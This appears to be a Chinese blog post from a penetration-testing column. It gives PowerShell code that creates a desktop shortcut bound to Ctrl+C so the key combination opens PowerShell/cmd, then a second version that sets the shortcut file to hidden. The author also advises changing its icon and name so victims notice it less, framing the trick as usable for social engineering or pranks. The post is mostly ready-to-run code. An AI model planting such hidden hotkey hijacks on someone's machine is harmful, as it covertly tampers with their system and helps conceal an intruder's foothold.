PowerShell劫持Windows快捷键

最新推荐文章于 2025-05-05 11:45:05 发布

XYTHT

最新推荐文章于 2025-05-05 11:45:05 发布

阅读量606

点赞数

CC 4.0 BY-SA版权

分类专栏：渗透

本文链接：https://blog.youkuaiyun.com/THTBOOM/article/details/84570037

渗透专栏收录该内容

6 篇文章

订阅专栏

本文介绍如何使用PowerShell创建带有热键的快捷方式，例如设置Ctrl+C打开CMD，同时探讨了如何隐藏这些快捷方式以减少被发现的可能性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

PowerShell劫持Windows快捷键

利用代码：

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\x\Desktop\1.lnk") \\存放快捷方式的路径，这种方式的路径需设置在桌面下。
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.hotkey = "ctrl+c"
$Shortcut.Arguments = 'cmd'
$Shortcut.Save()

代码可实现劫持Windows的快捷键，按下ctrl+c会出现cmd界面。

但是这种设置在桌面下太显眼，如果是做一些类似社工的操作或者恶作剧，就必须隐藏这个快捷方式。

利用代码2.0：

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\x\Desktop\1.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.hotkey = "ctrl+c"
$Shortcut.Arguments = 'cmd'
$Shortcut.Save()
$file = Get-Item C:\Users\x\Desktop\1.lnk
$file.Attributes="hidden"

这种方法仍有不足，当主机开启查看隐藏文件时，就很容易被发现。可以尝试将这个图片包装的更加完美，更改使用的图标，更改文件名。